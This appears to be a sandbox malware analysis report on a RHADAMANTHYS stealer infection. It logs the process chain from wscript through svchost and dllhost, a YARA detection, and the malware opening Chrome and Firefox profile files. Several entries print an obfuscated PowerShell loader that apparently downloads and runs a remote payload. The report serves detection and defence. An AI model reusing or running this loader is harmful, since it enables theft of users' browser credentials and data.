Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmpnscfg.exe "C:\Program Files\Windows Media Player\wmpnscfg.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$skonnert='privatest';;$unpresumed='revisionsarbejdes';;$printede='anamniotic';;$erkendtligheden100='petrolic38';;$dybvandet=$host.name;function mareschal($fibrillation){if ($dybvandet) {$jewbush=2} for ($ambiguitet=$jewbush;;$ambiguitet+=3){if(!$fibrillation[$ambiguitet]) { break };$klkning+=$fibrillation[$ambiguitet];$cebian207='motorcades'}$klkning}function dilemmatically($brynskov){ .($underporch) ($brynskov)}$lanciferous211=mareschal 'svnh e tbl..nw';$lanciferous211+=mareschal 'eres bkic lu isyeunnstt';$ballelsseres=mareschal 'plmleop zgli ildel ta u/';$jibbing=mareschal ' wt flsispa1 a2';$underleverancer='me[hjnlee bt b.ovs e,frk v hi dcpse rpcoobeihunintr.m haflnimapag,gemir ,] t:te:prsouel cr,uf,r i etovysupmirfoo nt to jc ,o l b=t $ ijhei mb b bi kns g';$ballelsseres+=mareschal 'fo5in. c0i s(s w nianntadh.o.hwfosdi uana.te .1r,0re.lu0pa;.r dw iunn a6,r4c,;pe lxsi6 u4no;ud bnrm vcr:a 1hi3 1 p.sk0o.)se ,hgree c .kpeog / i2pa0ju1.r0sk0sy1vg0w,1tt ugfcriber bem fekospxti/ep1th3sa1 m. k0';$ambiguitetntrapsychical=mareschal 'ubujos aeunrna-isalig hejen t';$partisk=mareschal 'orhsptnot rp.nsun: ./tr/.pwvawhywsp.b paftfrs.a.ungheremo u cps,/.damebg /k iv nphfovapunf.tphrtiyglm eeudn b.ocd,pemep ulo.o .y a>alhspts t op.fsac: r/k,/bawciwskwsu.lupsku en se testt ,.c abeeup/d ad,bko/m iranfaf uason bt .runy msue ,n f.hads.eanpr lokosvy';$hovedets=mareschal 't,>';$underporch=mareschal 'n i se kx';$kuldioxidets='strateg';$debatsidens='\quaiches.arg';dilemmatically (mareschal 'b $p glel.poneb aa blsk:hoa eudrssa t desm=u $,aep ncavr :raa pfrptadbea ut uace+sk$ .d hefab adettos,ri,kdsieinnbis');dilemmatically (mareschal 'ge$.eg lafo .bknaawlry:s c ,hpaaafp rln.efuss sjo= ,$r pc ad re tu.iagspek . os epfol oipatde( o$reh aofovinelsd e,ft hstr)');dilemmatically (mareschal $underleverancer);$partisk=$chapless[0];$bibbed=(mareschal ' s$ egfoltmoudbadaunl o: ,pmyi.icd tpru frboifezinacot ciwaorena,s h=lenkle .w a-ovo tbspjshe.vc,utni ryssoys s ptude ,m o.n $anl,aaannfecdiic,f eetir nosmusus e2 o1 g1');dilemmatically ($bibbed);dilemmatically (mareschal ' t$o,p ,iruc,itmuul rabis z ia.etg.ihoo n s .alh.ee lahedsae ,rnosu [v $poa pmovb wit.g ugrikotruesht.knv,tkorp adapt sspy ic.dhfii fcjuainl g]m.=r $unb latilfolkneunlsusf sm.e prpiegas');$instrumenter=mareschal ' h$snp istclet euc.rfuir z baint di ao inlss c.,rds olywsvnu l .oaba ydtafu.iabld,e ( i$plpmya brantrai gs ,kj ,ro$refa,o,er ,nprjflemidgeeinssy)';$fornjedes=$aerate;dilemmatically (mareschal 'fr$brglalpeofrbuna ,l ,: rvl.i rspu ts iss egln ts,u=fr(idt ,e tsbetbo-pepana .tdoh f w$gofpioafrbln jb e dkoebrsen)');while (!$virussens) {dilemmatically (mareschal 'ov$ ngetl co obs,abal b: uafinmaa lgmir dab mfem aafrtadi sprefo= $ ianimslbalic g kuh i ftv eprtbanmudbrsgekr yt.d efll rssue 2,o3 f6') ;dilemmatically $instrumenter;dilemmatically (marescha
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" ";$skonnert='privatest';;$unpresumed='revisionsarbejdes';;$printede='anamniotic';;$erkendtligheden100='petrolic38';;$dybvandet=$host.name;function mareschal($fibrillation){if ($dybvandet) {$jewbush=2} for ($ambiguitet=$jewbush;;$ambiguitet+=3){if(!$fibrillation[$ambiguitet]) { break };$klkning+=$fibrillation[$ambiguitet];$cebian207='motorcades'}$klkning}function dilemmatically($brynskov){ .($underporch) ($brynskov)}$lanciferous211=mareschal 'svnh e tbl..nw';$lanciferous211+=mareschal 'eres bkic lu isyeunnstt';$ballelsseres=mareschal 'plmleop zgli ildel ta u/';$jibbing=mareschal ' wt flsispa1 a2';$underleverancer='me[hjnlee bt b.ovs e,frk v hi dcpse rpcoobeihunintr.m haflnimapag,gemir ,] t:te:prsouel cr,uf,r i etovysupmirfoo nt to jc ,o l b=t $ ijhei mb b bi kns g';$ballelsseres+=mareschal 'fo5in. c0i s(s w nianntadh.o.hwfosdi uana.te .1r,0re.lu0pa;.r dw iunn a6,r4c,;pe lxsi6 u4no;ud bnrm vcr:a 1hi3 1 p.sk0o.)se ,hgree c .kpeog / i2pa0ju1.r0sk0sy1vg0w,1tt ugfcriber bem fekospxti/ep1th3sa1 m. k0';$ambiguitetntrapsychical=mareschal 'ubujos aeunrna-isalig hejen t';$partisk=mareschal 'orhsptnot rp.nsun: ./tr/.pwvawhywsp.b paftfrs.a.ungheremo u cps,/.damebg /k iv nphfovapunf.tphrtiyglm eeudn b.ocd,pemep ulo.o .y a>alhspts t op.fsac: r/k,/bawciwskwsu.lupsku en se testt ,.c abeeup/d ad,bko/m iranfaf uason bt .runy msue ,n f.hads.eanpr lokosvy';$hovedets=mareschal 't,>';$underporch=mareschal 'n i se kx';$kuldioxidets='strateg';$debatsidens='\quaiches.arg';dilemmatically (mareschal 'b $p glel.poneb aa blsk:hoa eudrssa t desm=u $,aep ncavr :raa pfrptadbea ut uace+sk$ .d hefab adettos,ri,kdsieinnbis');dilemmatically (mareschal 'ge$.eg lafo .bknaawlry:s c ,hpaaafp rln.efuss sjo= ,$r pc ad re tu.iagspek . os epfol oipatde( o$reh aofovinelsd e,ft hstr)');dilemmatically (mareschal $underleverancer);$partisk=$chapless[0];$bibbed=(mareschal ' s$ egfoltmoudbadaunl o: ,pmyi.icd tpru frboifezinacot ciwaorena,s h=lenkle .w a-ovo tbspjshe.vc,utni ryssoys s ptude ,m o.n $anl,aaannfecdiic,f eetir nosmusus e2 o1 g1');dilemmatically ($bibbed);dilemmatically (mareschal ' t$o,p ,iruc,itmuul rabis z ia.etg.ihoo n s .alh.ee lahedsae ,rnosu [v $poa pmovb wit.g ugrikotruesht.knv,tkorp adapt sspy ic.dhfii fcjuainl g]m.=r $unb latilfolkneunlsusf sm.e prpiegas');$instrumenter=mareschal ' h$snp istclet euc.rfuir z baint di ao inlss c.,rds olywsvnu l .oaba ydtafu.iabld,e ( i$plpmya brantrai gs ,kj ,ro$refa,o,er ,nprjflemidgeeinssy)';$fornjedes=$aerate;dilemmatically (mareschal 'fr$brglalpeofrbuna ,l ,: rvl.i rspu ts iss egln ts,u=fr(idt ,e tsbetbo-pepana .tdoh f w$gofpioafrbln jb e dkoebrsen)');while (!$virussens) {dilemmatically (mareschal 'ov$ ngetl co obs,abal b: uafinmaa lgmir dab mfem aafrtadi sprefo= $ ianimslbalic g kuh i ftv eprtbanmudbrsgekr yt.d efll rssue 2,o3 f6') ;dilemmatically $instrumenter;dilemmatically (marescha
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$skonnert='privatest';;$unpresumed='revisionsarbejdes';;$printede='anamniotic';;$erkendtligheden100='petrolic38';;$dybvandet=$host.name;function mareschal($fibrillation){if ($dybvandet) {$jewbush=2} for ($ambiguitet=$jewbush;;$ambiguitet+=3){if(!$fibrillation[$ambiguitet]) { break };$klkning+=$fibrillation[$ambiguitet];$cebian207='motorcades'}$klkning}function dilemmatically($brynskov){ .($underporch) ($brynskov)}$lanciferous211=mareschal 'svnh e tbl..nw';$lanciferous211+=mareschal 'eres bkic lu isyeunnstt';$ballelsseres=mareschal 'plmleop zgli ildel ta u/';$jibbing=mareschal ' wt flsispa1 a2';$underleverancer='me[hjnlee bt b.ovs e,frk v hi dcpse rpcoobeihunintr.m haflnimapag,gemir ,] t:te:prsouel cr,uf,r i etovysupmirfoo nt to jc ,o l b=t $ ijhei mb b bi kns g';$ballelsseres+=mareschal 'fo5in. c0i s(s w nianntadh.o.hwfosdi uana.te .1r,0re.lu0pa;.r dw iunn a6,r4c,;pe lxsi6 u4no;ud bnrm vcr:a 1hi3 1 p.sk0o.)se ,hgree c .kpeog / i2pa0ju1.r0sk0sy1vg0w,1tt ugfcriber bem fekospxti/ep1th3sa1 m. k0';$ambiguitetntrapsychical=mareschal 'ubujos aeunrna-isalig hejen t';$partisk=mareschal 'orhsptnot rp.nsun: ./tr/.pwvawhywsp.b paftfrs.a.ungheremo u cps,/.damebg /k iv nphfovapunf.tphrtiyglm eeudn b.ocd,pemep ulo.o .y a>alhspts t op.fsac: r/k,/bawciwskwsu.lupsku en se testt ,.c abeeup/d ad,bko/m iranfaf uason bt .runy msue ,n f.hads.eanpr lokosvy';$hovedets=mareschal 't,>';$underporch=mareschal 'n i se kx';$kuldioxidets='strateg';$debatsidens='\quaiches.arg';dilemmatically (mareschal 'b $p glel.poneb aa blsk:hoa eudrssa t desm=u $,aep ncavr :raa pfrptadbea ut uace+sk$ .d hefab adettos,ri,kdsieinnbis');dilemmatically (mareschal 'ge$.eg lafo .bknaawlry:s c ,hpaaafp rln.efuss sjo= ,$r pc ad re tu.iagspek . os epfol oipatde( o$reh aofovinelsd e,ft hstr)');dilemmatically (mareschal $underleverancer);$partisk=$chapless[0];$bibbed=(mareschal ' s$ egfoltmoudbadaunl o: ,pmyi.icd tpru frboifezinacot ciwaorena,s h=lenkle .w a-ovo tbspjshe.vc,utni ryssoys s ptude ,m o.n $anl,aaannfecdiic,f eetir nosmusus e2 o1 g1');dilemmatically ($bibbed);dilemmatically (mareschal ' t$o,p ,iruc,itmuul rabis z ia.etg.ihoo n s .alh.ee lahedsae ,rnosu [v $poa pmovb wit.g ugrikotruesht.knv,tkorp adapt sspy ic.dhfii fcjuainl g]m.=r $unb latilfolkneunlsusf sm.e prpiegas');$instrumenter=mareschal ' h$snp istclet euc.rfuir z baint di ao inlss c.,rds olywsvnu l .oaba ydtafu.iabld,e ( i$plpmya brantrai gs ,kj ,ro$refa,o,er ,nprjflemidgeeinssy)';$fornjedes=$aerate;dilemmatically (mareschal 'fr$brglalpeofrbuna ,l ,: rvl.i rspu ts iss egln ts,u=fr(idt ,e tsbetbo-pepana .tdoh f w$gofpioafrbln jb e dkoebrsen)');while (!$virussens) {dilemmatically (mareschal 'ov$ ngetl co obs,abal b: uafinmaa lgmir dab mfem aafrtadi sprefo= $ ianimslbalic g kuh i ftv eprtbanmudbrsgekr yt.d efll rssue 2,o3 f6') ;dilemmatically $instrumenter;dilemmatically (marescha	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\svchost.exe

Code function: 12_3_00007DF45B6F59B0 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,

12_3_00007DF45B6F59B0

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected RHADAMANTHYS Stealer

Stealing of Sensitive Information

Source: Yara match	File source: 0000000B.00000003.2013624031.00000000007A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2008744102.0000000002E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2104903369.0000000002C00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2020607933.00000000223F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
